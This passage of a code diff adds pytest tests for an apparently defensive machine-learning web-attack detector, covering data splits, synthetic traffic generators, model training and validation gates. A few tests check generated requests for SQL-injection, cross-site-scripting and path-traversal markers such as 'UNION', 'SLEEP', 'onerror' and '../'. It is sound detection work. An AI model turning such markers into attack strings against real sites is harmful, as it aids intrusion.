def test_val_test_untouched(self) -> None:
|
||||||
|
"""
|
||||||
|
Val test sizes match pre-SMOTE counts
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
result = prepare_training_data(X, y)
|
||||||
|
remainder = TOTAL - int(TOTAL * 0.70)
|
||||||
|
half = remainder // 2
|
||||||
|
tol = 3
|
||||||
|
assert abs(result.X_val.shape[0] - half) <= tol
|
||||||
|
assert abs(result.X_test.shape[0] - half) <= tol
|
||||||
|
assert (result.X_val.shape[0] == result.y_val.shape[0])
|
||||||
|
assert (result.X_test.shape[0] == result.y_test.shape[0])
|
||||||
|
|
||||||
|
def test_x_normal_train_only_normals(self, ) -> None:
|
||||||
|
"""
|
||||||
|
X_normal_train has only class-0 rows
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
result = prepare_training_data(X, y)
|
||||||
|
expected = int(N_NORMAL * 0.70)
|
||||||
|
tol = int(TOTAL * 0.05)
|
||||||
|
assert abs(result.X_normal_train.shape[0] - expected) <= tol
|
||||||
|
assert (result.X_normal_train.shape[1] == N_FEATURES)
|
||||||
|
|
||||||
|
def test_small_dataset_works(self) -> None:
|
||||||
|
"""
|
||||||
|
Small 50-sample dataset succeeds
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset(
|
||||||
|
n_normal=40,
|
||||||
|
n_attack=10,
|
||||||
|
n_features=N_FEATURES,
|
||||||
|
)
|
||||||
|
result = prepare_training_data(X, y, smote_k=3)
|
||||||
|
assert isinstance(result, TrainingSplit)
|
||||||
|
assert result.X_train.shape[0] > 0
|
||||||
|
assert result.X_val.shape[0] > 0
|
||||||
|
assert result.X_test.shape[0] > 0
|
||||||
|
|
||||||
|
def test_all_one_class_raises_value_error(self, ) -> None:
|
||||||
|
"""
|
||||||
|
Single-class labels raise ValueError
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(99)
|
||||||
|
X = rng.standard_normal((100, N_FEATURES)).astype(np.float32)
|
||||||
|
y_zeros = np.zeros(100, dtype=np.int32)
|
||||||
|
with pytest.raises(ValueError):
|
||||||
|
prepare_training_data(X, y_zeros)
|
||||||
|
y_ones = np.ones(100, dtype=np.int32)
|
||||||
|
with pytest.raises(ValueError):
|
||||||
|
prepare_training_data(X, y_ones)
|
||||||
|
|
||||||
|
def test_smote_skipped_minority_too_small(self, ) -> None:
|
||||||
|
"""
|
||||||
|
Tiny minority skips SMOTE gracefully
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset(
|
||||||
|
n_normal=90,
|
||||||
|
n_attack=10,
|
||||||
|
n_features=N_FEATURES,
|
||||||
|
)
|
||||||
|
result = prepare_training_data(X, y, smote_k=50)
|
||||||
|
assert isinstance(result, TrainingSplit)
|
||||||
|
assert result.X_train.shape[0] > 0
|
||||||
|
|
@ -0,0 +1,179 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_synthetic.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
from app.core.features.encoder import encode_for_inference
|
||||||
|
from app.core.features.extractor import extract_request_features
|
||||||
|
from app.core.features.mappings import WINDOWED_FEATURE_NAMES
|
||||||
|
from app.core.ingestion.parsers import ParsedLogEntry
|
||||||
|
from ml.synthetic import (
|
||||||
|
generate_log4shell_requests,
|
||||||
|
generate_mixed_dataset,
|
||||||
|
generate_normal_requests,
|
||||||
|
generate_scanner_requests,
|
||||||
|
generate_sqli_requests,
|
||||||
|
generate_ssrf_requests,
|
||||||
|
generate_traversal_requests,
|
||||||
|
generate_xss_requests,
|
||||||
|
)
|
||||||
|
|
||||||
|
class TestGenerators:
|
||||||
|
"""
|
||||||
|
Test individual attack and normal traffic generators
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_sqli_returns_correct_count(self, ) -> None:
|
||||||
|
"""
|
||||||
|
generate_sqli_requests returns the requested count
|
||||||
|
"""
|
||||||
|
results = generate_sqli_requests(10)
|
||||||
|
assert len(results) == 10
|
||||||
|
|
||||||
|
def test_xss_returns_correct_count(self, ) -> None:
|
||||||
|
"""
|
||||||
|
generate_xss_requests returns the requested count
|
||||||
|
"""
|
||||||
|
results = generate_xss_requests(10)
|
||||||
|
assert len(results) == 10
|
||||||
|
|
||||||
|
def test_traversal_returns_correct_count(self, ) -> None:
|
||||||
|
"""
|
||||||
|
generate_traversal_requests returns the requested count
|
||||||
|
"""
|
||||||
|
results = generate_traversal_requests(10)
|
||||||
|
assert len(results) == 10
|
||||||
|
|
||||||
|
def test_log4shell_returns_correct_count(self, ) -> None:
|
||||||
|
"""
|
||||||
|
generate_log4shell_requests returns the requested count
|
||||||
|
"""
|
||||||
|
results = generate_log4shell_requests(10)
|
||||||
|
assert len(results) == 10
|
||||||
|
|
||||||
|
def test_ssrf_returns_correct_count(self, ) -> None:
|
||||||
|
"""
|
||||||
|
generate_ssrf_requests returns the requested count
|
||||||
|
"""
|
||||||
|
results = generate_ssrf_requests(10)
|
||||||
|
assert len(results) == 10
|
||||||
|
|
||||||
|
def test_scanner_returns_correct_count(self, ) -> None:
|
||||||
|
"""
|
||||||
|
generate_scanner_requests returns the requested count
|
||||||
|
"""
|
||||||
|
results = generate_scanner_requests(10)
|
||||||
|
assert len(results) == 10
|
||||||
|
|
||||||
|
def test_normal_returns_correct_count(self, ) -> None:
|
||||||
|
"""
|
||||||
|
generate_normal_requests returns the requested count
|
||||||
|
"""
|
||||||
|
results = generate_normal_requests(20)
|
||||||
|
assert len(results) == 20
|
||||||
|
|
||||||
|
def test_sqli_has_attack_payloads(self, ) -> None:
|
||||||
|
"""
|
||||||
|
SQLi entries contain injection patterns in query string
|
||||||
|
"""
|
||||||
|
results = generate_sqli_requests(20)
|
||||||
|
has_sqli = any("OR" in e.query_string or "UNION" in e.query_string
|
||||||
|
or "DROP" in e.query_string or "SLEEP" in e.query_string
|
||||||
|
for e in results)
|
||||||
|
assert has_sqli
|
||||||
|
|
||||||
|
def test_xss_has_script_patterns(self, ) -> None:
|
||||||
|
"""
|
||||||
|
XSS entries contain script-related patterns
|
||||||
|
"""
|
||||||
|
results = generate_xss_requests(20)
|
||||||
|
has_xss = any(
|
||||||
|
"script" in e.query_string.lower() or "alert" in
|
||||||
|
e.query_string.lower() or "onerror" in e.query_string.lower()
|
||||||
|
for e in results)
|
||||||
|
assert has_xss
|
||||||
|
|
||||||
|
def test_traversal_has_dotdot(self) -> None:
|
||||||
|
"""
|
||||||
|
Traversal entries contain ../ in path
|
||||||
|
"""
|
||||||
|
results = generate_traversal_requests(20)
|
||||||
|
has_traversal = any(".." in e.path or "%2e" in e.path.lower()
|
||||||
|
for e in results)
|
||||||
|
assert has_traversal
|
||||||
|
|
||||||
|
def test_all_entries_are_parsed_log_entry(self, ) -> None:
|
||||||
|
"""
|
||||||
|
All generators return ParsedLogEntry instances
|
||||||
|
"""
|
||||||
|
generators = [
|
||||||
|
generate_sqli_requests,
|
||||||
|
generate_xss_requests,
|
||||||
|
generate_traversal_requests,
|
||||||
|
generate_log4shell_requests,
|
||||||
|
generate_ssrf_requests,
|
||||||
|
generate_scanner_requests,
|
||||||
|
generate_normal_requests,
|
||||||
|
]
|
||||||
|
for gen in generators:
|
||||||
|
results = gen(5)
|
||||||
|
assert all(isinstance(e, ParsedLogEntry) for e in results)
|
||||||
|
|
||||||
|
def test_entries_pass_feature_extraction(self, ) -> None:
|
||||||
|
"""
|
||||||
|
All generated entries extract and encode without error
|
||||||
|
"""
|
||||||
|
generators = [
|
||||||
|
generate_sqli_requests,
|
||||||
|
generate_xss_requests,
|
||||||
|
generate_traversal_requests,
|
||||||
|
generate_log4shell_requests,
|
||||||
|
generate_ssrf_requests,
|
||||||
|
generate_scanner_requests,
|
||||||
|
generate_normal_requests,
|
||||||
|
]
|
||||||
|
for gen in generators:
|
||||||
|
for entry in gen(5):
|
||||||
|
features = extract_request_features(entry)
|
||||||
|
for name in WINDOWED_FEATURE_NAMES:
|
||||||
|
features[name] = 0.0
|
||||||
|
vector = encode_for_inference(features)
|
||||||
|
assert len(vector) == 35
|
||||||
|
|
||||||
|
|
||||||
|
class TestMixedDataset:
|
||||||
|
"""
|
||||||
|
Test end-to-end mixed dataset generation
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_returns_correct_shape(self) -> None:
|
||||||
|
"""
|
||||||
|
generate_mixed_dataset returns X with 35 columns
|
||||||
|
"""
|
||||||
|
X, y = generate_mixed_dataset(100, 60)
|
||||||
|
assert X.shape == (160, 35)
|
||||||
|
|
||||||
|
def test_contains_both_labels(self) -> None:
|
||||||
|
"""
|
||||||
|
y array contains both 0 and 1
|
||||||
|
"""
|
||||||
|
_, y = generate_mixed_dataset(100, 60)
|
||||||
|
assert 0 in y
|
||||||
|
assert 1 in y
|
||||||
|
|
||||||
|
def test_label_counts_match(self) -> None:
|
||||||
|
"""
|
||||||
|
Label counts match requested normal and attack counts
|
||||||
|
"""
|
||||||
|
_, y = generate_mixed_dataset(100, 60)
|
||||||
|
assert np.sum(y == 0) == 100
|
||||||
|
assert np.sum(y == 1) == 60
|
||||||
|
|
||||||
|
def test_values_are_finite(self) -> None:
|
||||||
|
"""
|
||||||
|
All feature values are finite
|
||||||
|
"""
|
||||||
|
X, _ = generate_mixed_dataset(50, 30)
|
||||||
|
assert np.all(np.isfinite(X))
|
||||||
|
|
@ -1,6 +1,8 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_training.py
|
test_training.py
|
||||||
|
|
||||||
|
Tests training pipelines for the autoencoder, random forest, and isolation forest models.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import numpy as np
|
import numpy as np
|
||||||
|
|
@ -14,10 +16,18 @@ class TestAutoencoderTraining:
|
||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def normal_data(self) -> np.ndarray:
|
def normal_data(self) -> np.ndarray:
|
||||||
|
"""
|
||||||
|
Three-hundred samples of clipped 35-dimensional float32 data representing normal traffic.
|
||||||
|
"""
|
||||||
rng = np.random.default_rng(42)
|
rng = np.random.default_rng(42)
|
||||||
return (rng.standard_normal((300, 35)) * 0.3 + 0.5).astype(np.float32).clip(0, 1)
|
return (rng.standard_normal(
|
||||||
|
(300, 35)) * 0.3 + 0.5).astype(np.float32).clip(0, 1)
|
||||||
|
|
||||||
def test_returns_model_and_threshold(self, normal_data: np.ndarray) -> None:
|
def test_returns_model_and_threshold(self,
|
||||||
|
normal_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Training returns model, threshold, scaler, and history keys.
|
||||||
|
"""
|
||||||
result = train_autoencoder(normal_data, epochs=5, batch_size=32)
|
result = train_autoencoder(normal_data, epochs=5, batch_size=32)
|
||||||
assert "model" in result
|
assert "model" in result
|
||||||
assert "threshold" in result
|
assert "threshold" in result
|
||||||
|
|
@ -25,24 +35,38 @@ class TestAutoencoderTraining:
|
||||||
assert "history" in result
|
assert "history" in result
|
||||||
|
|
||||||
def test_threshold_is_positive(self, normal_data: np.ndarray) -> None:
|
def test_threshold_is_positive(self, normal_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Computed reconstruction error threshold is a positive value.
|
||||||
|
"""
|
||||||
result = train_autoencoder(normal_data, epochs=5, batch_size=32)
|
result = train_autoencoder(normal_data, epochs=5, batch_size=32)
|
||||||
assert result["threshold"] > 0.0
|
assert result["threshold"] > 0.0
|
||||||
|
|
||||||
def test_history_has_train_loss(self, normal_data: np.ndarray) -> None:
|
def test_history_has_train_loss(self, normal_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Training history includes one train_loss entry per epoch.
|
||||||
|
"""
|
||||||
result = train_autoencoder(normal_data, epochs=5, batch_size=32)
|
result = train_autoencoder(normal_data, epochs=5, batch_size=32)
|
||||||
assert "train_loss" in result["history"]
|
assert "train_loss" in result["history"]
|
||||||
assert len(result["history"]["train_loss"]) == 5
|
assert len(result["history"]["train_loss"]) == 5
|
||||||
|
|
||||||
def test_custom_percentile(self, normal_data: np.ndarray) -> None:
|
def test_custom_percentile(self, normal_data: np.ndarray) -> None:
|
||||||
result_95 = train_autoencoder(
|
"""
|
||||||
normal_data, epochs=3, batch_size=32, percentile=95.0
|
Higher percentile produces a higher or equal reconstruction threshold.
|
||||||
)
|
"""
|
||||||
result_99 = train_autoencoder(
|
result_95 = train_autoencoder(normal_data,
|
||||||
normal_data, epochs=3, batch_size=32, percentile=99.0
|
epochs=3,
|
||||||
)
|
batch_size=32,
|
||||||
|
percentile=95.0)
|
||||||
|
result_99 = train_autoencoder(normal_data,
|
||||||
|
epochs=3,
|
||||||
|
batch_size=32,
|
||||||
|
percentile=99.0)
|
||||||
assert result_99["threshold"] >= result_95["threshold"]
|
assert result_99["threshold"] >= result_95["threshold"]
|
||||||
|
|
||||||
def test_model_is_in_eval_mode(self, normal_data: np.ndarray) -> None:
|
def test_model_is_in_eval_mode(self, normal_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Returned model is in eval mode after training completes.
|
||||||
|
"""
|
||||||
result = train_autoencoder(normal_data, epochs=3, batch_size=32)
|
result = train_autoencoder(normal_data, epochs=3, batch_size=32)
|
||||||
assert not result["model"].training
|
assert not result["model"].training
|
||||||
|
|
||||||
|
|
@ -51,37 +75,50 @@ class TestRandomForestTraining:
|
||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def labeled_data(self) -> tuple[np.ndarray, np.ndarray]:
|
def labeled_data(self) -> tuple[np.ndarray, np.ndarray]:
|
||||||
|
"""
|
||||||
|
Four-hundred samples with 300 benign and 100 attack labels.
|
||||||
|
"""
|
||||||
rng = np.random.default_rng(42)
|
rng = np.random.default_rng(42)
|
||||||
X = rng.standard_normal((400, 35)).astype(np.float32)
|
X = rng.standard_normal((400, 35)).astype(np.float32)
|
||||||
y = np.concatenate([np.zeros(300, dtype=np.int64), np.ones(100, dtype=np.int64)])
|
y = np.concatenate(
|
||||||
|
[np.zeros(300, dtype=np.int64),
|
||||||
|
np.ones(100, dtype=np.int64)])
|
||||||
return X, y
|
return X, y
|
||||||
|
|
||||||
def test_returns_model_and_metrics(
|
def test_returns_model_and_metrics(
|
||||||
self, labeled_data: tuple[np.ndarray, np.ndarray]
|
self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
|
||||||
) -> None:
|
"""
|
||||||
|
Training returns model and metrics dict.
|
||||||
|
"""
|
||||||
X, y = labeled_data
|
X, y = labeled_data
|
||||||
result = train_random_forest(X, y)
|
result = train_random_forest(X, y)
|
||||||
assert "model" in result
|
assert "model" in result
|
||||||
assert "metrics" in result
|
assert "metrics" in result
|
||||||
|
|
||||||
def test_model_has_predict_proba(
|
def test_model_has_predict_proba(
|
||||||
self, labeled_data: tuple[np.ndarray, np.ndarray]
|
self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
|
||||||
) -> None:
|
"""
|
||||||
|
Trained model exposes predict_proba for probability scoring.
|
||||||
|
"""
|
||||||
X, y = labeled_data
|
X, y = labeled_data
|
||||||
result = train_random_forest(X, y)
|
result = train_random_forest(X, y)
|
||||||
assert hasattr(result["model"], "predict_proba")
|
assert hasattr(result["model"], "predict_proba")
|
||||||
|
|
||||||
def test_metrics_contain_required_keys(
|
def test_metrics_contain_required_keys(
|
||||||
self, labeled_data: tuple[np.ndarray, np.ndarray]
|
self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
|
||||||
) -> None:
|
"""
|
||||||
|
Metrics dict contains f1, pr_auc, accuracy, precision, and recall.
|
||||||
|
"""
|
||||||
X, y = labeled_data
|
X, y = labeled_data
|
||||||
result = train_random_forest(X, y)
|
result = train_random_forest(X, y)
|
||||||
for key in ("f1", "pr_auc", "accuracy", "precision", "recall"):
|
for key in ("f1", "pr_auc", "accuracy", "precision", "recall"):
|
||||||
assert key in result["metrics"]
|
assert key in result["metrics"]
|
||||||
|
|
||||||
def test_probabilities_in_valid_range(
|
def test_probabilities_in_valid_range(
|
||||||
self, labeled_data: tuple[np.ndarray, np.ndarray]
|
self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
|
||||||
) -> None:
|
"""
|
||||||
|
Predicted probabilities are within the [0, 1] range.
|
||||||
|
"""
|
||||||
X, y = labeled_data
|
X, y = labeled_data
|
||||||
result = train_random_forest(X, y)
|
result = train_random_forest(X, y)
|
||||||
proba = result["model"].predict_proba(X[:10])
|
proba = result["model"].predict_proba(X[:10])
|
||||||
|
|
@ -89,8 +126,10 @@ class TestRandomForestTraining:
|
||||||
assert proba.max() <= 1.0
|
assert proba.max() <= 1.0
|
||||||
|
|
||||||
def test_metrics_values_in_valid_range(
|
def test_metrics_values_in_valid_range(
|
||||||
self, labeled_data: tuple[np.ndarray, np.ndarray]
|
self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
|
||||||
) -> None:
|
"""
|
||||||
|
All metric values fall within [0, 1].
|
||||||
|
"""
|
||||||
X, y = labeled_data
|
X, y = labeled_data
|
||||||
result = train_random_forest(X, y)
|
result = train_random_forest(X, y)
|
||||||
for value in result["metrics"].values():
|
for value in result["metrics"].values():
|
||||||
|
|
@ -101,24 +140,39 @@ class TestIsolationForestTraining:
|
||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def normal_data(self) -> np.ndarray:
|
def normal_data(self) -> np.ndarray:
|
||||||
|
"""
|
||||||
|
Two-hundred samples of 35-dimensional standard normal float32 data.
|
||||||
|
"""
|
||||||
rng = np.random.default_rng(42)
|
rng = np.random.default_rng(42)
|
||||||
return rng.standard_normal((200, 35)).astype(np.float32)
|
return rng.standard_normal((200, 35)).astype(np.float32)
|
||||||
|
|
||||||
def test_returns_model(self, normal_data: np.ndarray) -> None:
|
def test_returns_model(self, normal_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Training returns a model key in the result dict.
|
||||||
|
"""
|
||||||
result = train_isolation_forest(normal_data)
|
result = train_isolation_forest(normal_data)
|
||||||
assert "model" in result
|
assert "model" in result
|
||||||
|
|
||||||
def test_model_has_score_samples(self, normal_data: np.ndarray) -> None:
|
def test_model_has_score_samples(self, normal_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Trained model exposes score_samples for anomaly scoring.
|
||||||
|
"""
|
||||||
result = train_isolation_forest(normal_data)
|
result = train_isolation_forest(normal_data)
|
||||||
assert hasattr(result["model"], "score_samples")
|
assert hasattr(result["model"], "score_samples")
|
||||||
|
|
||||||
def test_returns_metrics_with_n_samples(self, normal_data: np.ndarray) -> None:
|
def test_returns_metrics_with_n_samples(self,
|
||||||
|
normal_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Metrics include n_samples matching the training set size.
|
||||||
|
"""
|
||||||
result = train_isolation_forest(normal_data)
|
result = train_isolation_forest(normal_data)
|
||||||
assert result["metrics"]["n_samples"] == 200
|
assert result["metrics"]["n_samples"] == 200
|
||||||
|
|
||||||
def test_anomaly_scores_distinguish_normal_and_outlier(
|
def test_anomaly_scores_distinguish_normal_and_outlier(
|
||||||
self, normal_data: np.ndarray
|
self, normal_data: np.ndarray) -> None:
|
||||||
) -> None:
|
"""
|
||||||
|
Normal training data scores higher than extreme outliers.
|
||||||
|
"""
|
||||||
result = train_isolation_forest(normal_data)
|
result = train_isolation_forest(normal_data)
|
||||||
model = result["model"]
|
model = result["model"]
|
||||||
normal_scores = model.score_samples(normal_data[:50])
|
normal_scores = model.score_samples(normal_data[:50])
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,83 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_training_e2e.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from app.core.detection.ensemble import (
|
||||||
|
blend_scores,
|
||||||
|
fuse_scores,
|
||||||
|
normalize_ae_score,
|
||||||
|
normalize_if_score,
|
||||||
|
)
|
||||||
|
from app.core.detection.inference import InferenceEngine
|
||||||
|
from ml.orchestrator import TrainingOrchestrator
|
||||||
|
from ml.synthetic import generate_mixed_dataset
|
||||||
|
|
||||||
|
N_NORMAL = 500
|
||||||
|
N_ATTACK = 200
|
||||||
|
N_FEATURES = 35
|
||||||
|
ENSEMBLE_WEIGHTS = {"ae": 0.4, "rf": 0.4, "if": 0.2}
|
||||||
|
|
||||||
|
|
||||||
|
class TestTrainingE2E:
|
||||||
|
"""
|
||||||
|
End-to-end training integration test
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_full_training_produces_loadable_models(self,
|
||||||
|
tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Full pipeline produces models that load and predict
|
||||||
|
"""
|
||||||
|
X, y = generate_mixed_dataset(N_NORMAL, N_ATTACK)
|
||||||
|
assert X.shape == (
|
||||||
|
N_NORMAL + N_ATTACK,
|
||||||
|
N_FEATURES,
|
||||||
|
)
|
||||||
|
|
||||||
|
model_dir = tmp_path / "models"
|
||||||
|
orch = TrainingOrchestrator(output_dir=model_dir, epochs=3)
|
||||||
|
result = orch.run(X, y)
|
||||||
|
|
||||||
|
expected_files = [
|
||||||
|
"ae.onnx",
|
||||||
|
"rf.onnx",
|
||||||
|
"if.onnx",
|
||||||
|
"scaler.json",
|
||||||
|
"threshold.json",
|
||||||
|
]
|
||||||
|
for filename in expected_files:
|
||||||
|
assert (model_dir / filename).exists(), f"Missing {filename}"
|
||||||
|
|
||||||
|
engine = InferenceEngine(str(model_dir))
|
||||||
|
assert engine.is_loaded
|
||||||
|
|
||||||
|
sample = X[:5]
|
||||||
|
predictions = engine.predict(sample)
|
||||||
|
assert predictions is not None
|
||||||
|
assert "ae" in predictions
|
||||||
|
assert "rf" in predictions
|
||||||
|
assert "if" in predictions
|
||||||
|
assert len(predictions["ae"]) == 5
|
||||||
|
|
||||||
|
threshold = engine.threshold
|
||||||
|
for i in range(5):
|
||||||
|
ae_score = normalize_ae_score(predictions["ae"][i], threshold)
|
||||||
|
if_score = normalize_if_score(predictions["if"][i])
|
||||||
|
rf_score = predictions["rf"][i]
|
||||||
|
|
||||||
|
scores = {
|
||||||
|
"ae": ae_score,
|
||||||
|
"rf": rf_score,
|
||||||
|
"if": if_score,
|
||||||
|
}
|
||||||
|
fused = fuse_scores(scores, ENSEMBLE_WEIGHTS)
|
||||||
|
assert 0.0 <= fused <= 1.0
|
||||||
|
|
||||||
|
blended = blend_scores(fused, 0.0)
|
||||||
|
assert 0.0 <= blended <= 1.0
|
||||||
|
|
||||||
|
assert result.passed_gates is not None
|
||||||
|
assert isinstance(result.passed_gates, bool)
|
||||||
|
|
@ -0,0 +1,189 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_validation.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
import pytest
|
||||||
|
from sklearn.ensemble import IsolationForest, RandomForestClassifier
|
||||||
|
|
||||||
|
from ml.autoencoder import ThreatAutoencoder
|
||||||
|
from ml.export_onnx import (
|
||||||
|
export_autoencoder,
|
||||||
|
export_isolation_forest,
|
||||||
|
export_random_forest,
|
||||||
|
)
|
||||||
|
from ml.scaler import FeatureScaler
|
||||||
|
from ml.validation import ValidationResult, validate_ensemble
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def trained_model_dir(tmp_path: Path) -> Path:
|
||||||
|
"""
|
||||||
|
Create a temp directory with trained ONNX models for validation testing
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(42)
|
||||||
|
X_normal = rng.standard_normal((200, 35)).astype(np.float32)
|
||||||
|
X_attack = rng.standard_normal((80, 35)).astype(np.float32) + 3.0
|
||||||
|
X = np.vstack([X_normal, X_attack])
|
||||||
|
y = np.array([0] * 200 + [1] * 80, dtype=np.int32)
|
||||||
|
|
||||||
|
ae = ThreatAutoencoder(input_dim=35)
|
||||||
|
export_autoencoder(ae, tmp_path / "ae.onnx")
|
||||||
|
|
||||||
|
rf = RandomForestClassifier(n_estimators=10, random_state=42)
|
||||||
|
rf.fit(X, y)
|
||||||
|
export_random_forest(rf, 35, tmp_path / "rf.onnx")
|
||||||
|
|
||||||
|
iso = IsolationForest(n_estimators=10, random_state=42)
|
||||||
|
iso.fit(X_normal)
|
||||||
|
export_isolation_forest(iso, 35, tmp_path / "if.onnx")
|
||||||
|
|
||||||
|
scaler = FeatureScaler()
|
||||||
|
scaler.fit(X_normal)
|
||||||
|
scaler.save_json(tmp_path / "scaler.json")
|
||||||
|
|
||||||
|
(tmp_path / "threshold.json").write_text(json.dumps({"threshold": 0.05}))
|
||||||
|
|
||||||
|
return tmp_path
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def separable_test_data() -> tuple[np.ndarray, np.ndarray]:
|
||||||
|
"""
|
||||||
|
Test data where normal and attack clusters are well-separated
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(99)
|
||||||
|
X_normal = rng.standard_normal((50, 35)).astype(np.float32)
|
||||||
|
X_attack = (rng.standard_normal((30, 35)).astype(np.float32) + 3.0)
|
||||||
|
X = np.vstack([X_normal, X_attack])
|
||||||
|
y = np.array([0] * 50 + [1] * 30, dtype=np.int32)
|
||||||
|
return X, y
|
||||||
|
|
||||||
|
|
||||||
|
class TestValidateEnsemble:
|
||||||
|
"""
|
||||||
|
Test ensemble validation with metric gates
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_returns_validation_result(
|
||||||
|
self,
|
||||||
|
trained_model_dir: Path,
|
||||||
|
separable_test_data: tuple[np.ndarray, np.ndarray],
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
validate_ensemble returns a ValidationResult instance
|
||||||
|
"""
|
||||||
|
X_test, y_test = separable_test_data
|
||||||
|
result = validate_ensemble(trained_model_dir, X_test, y_test)
|
||||||
|
|
||||||
|
assert isinstance(result, ValidationResult)
|
||||||
|
|
||||||
|
def test_result_has_all_metrics(
|
||||||
|
self,
|
||||||
|
trained_model_dir: Path,
|
||||||
|
separable_test_data: tuple[np.ndarray, np.ndarray],
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
ValidationResult contains precision, recall, f1, pr_auc, roc_auc
|
||||||
|
"""
|
||||||
|
X_test, y_test = separable_test_data
|
||||||
|
result = validate_ensemble(trained_model_dir, X_test, y_test)
|
||||||
|
|
||||||
|
assert 0.0 <= result.precision <= 1.0
|
||||||
|
assert 0.0 <= result.recall <= 1.0
|
||||||
|
assert 0.0 <= result.f1 <= 1.0
|
||||||
|
assert 0.0 <= result.pr_auc <= 1.0
|
||||||
|
assert 0.0 <= result.roc_auc <= 1.0
|
||||||
|
|
||||||
|
def test_confusion_matrix_shape(
|
||||||
|
self,
|
||||||
|
trained_model_dir: Path,
|
||||||
|
separable_test_data: tuple[np.ndarray, np.ndarray],
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Confusion matrix is 2x2
|
||||||
|
"""
|
||||||
|
X_test, y_test = separable_test_data
|
||||||
|
result = validate_ensemble(trained_model_dir, X_test, y_test)
|
||||||
|
|
||||||
|
assert len(result.confusion_matrix) == 2
|
||||||
|
assert len(result.confusion_matrix[0]) == 2
|
||||||
|
assert len(result.confusion_matrix[1]) == 2
|
||||||
|
|
||||||
|
def test_gate_details_contains_both_gates(
|
||||||
|
self,
|
||||||
|
trained_model_dir: Path,
|
||||||
|
separable_test_data: tuple[np.ndarray, np.ndarray],
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
gate_details has pr_auc and f1 entries
|
||||||
|
"""
|
||||||
|
X_test, y_test = separable_test_data
|
||||||
|
result = validate_ensemble(trained_model_dir, X_test, y_test)
|
||||||
|
|
||||||
|
assert "pr_auc" in result.gate_details
|
||||||
|
assert "f1" in result.gate_details
|
||||||
|
|
||||||
|
def test_gates_pass_with_low_thresholds(
|
||||||
|
self,
|
||||||
|
trained_model_dir: Path,
|
||||||
|
separable_test_data: tuple[np.ndarray, np.ndarray],
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
passed_gates is True when gates are set very low
|
||||||
|
"""
|
||||||
|
X_test, y_test = separable_test_data
|
||||||
|
result = validate_ensemble(
|
||||||
|
trained_model_dir,
|
||||||
|
X_test,
|
||||||
|
y_test,
|
||||||
|
pr_auc_gate=0.01,
|
||||||
|
f1_gate=0.01,
|
||||||
|
)
|
||||||
|
|
||||||
|
assert result.passed_gates is True
|
||||||
|
|
||||||
|
def test_gates_fail_with_high_thresholds(
|
||||||
|
self,
|
||||||
|
trained_model_dir: Path,
|
||||||
|
separable_test_data: tuple[np.ndarray, np.ndarray],
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
passed_gates is False when gates are impossibly high
|
||||||
|
"""
|
||||||
|
X_test, y_test = separable_test_data
|
||||||
|
result = validate_ensemble(
|
||||||
|
trained_model_dir,
|
||||||
|
X_test,
|
||||||
|
y_test,
|
||||||
|
pr_auc_gate=1.0,
|
||||||
|
f1_gate=1.0,
|
||||||
|
)
|
||||||
|
|
||||||
|
assert result.passed_gates is False
|
||||||
|
|
||||||
|
def test_custom_ensemble_weights(
|
||||||
|
self,
|
||||||
|
trained_model_dir: Path,
|
||||||
|
separable_test_data: tuple[np.ndarray, np.ndarray],
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Custom ensemble weights are accepted without error
|
||||||
|
"""
|
||||||
|
X_test, y_test = separable_test_data
|
||||||
|
result = validate_ensemble(
|
||||||
|
trained_model_dir,
|
||||||
|
X_test,
|
||||||
|
y_test,
|
||||||
|
ensemble_weights={
|
||||||
|
"ae": 0.5,
|
||||||
|
"rf": 0.3,
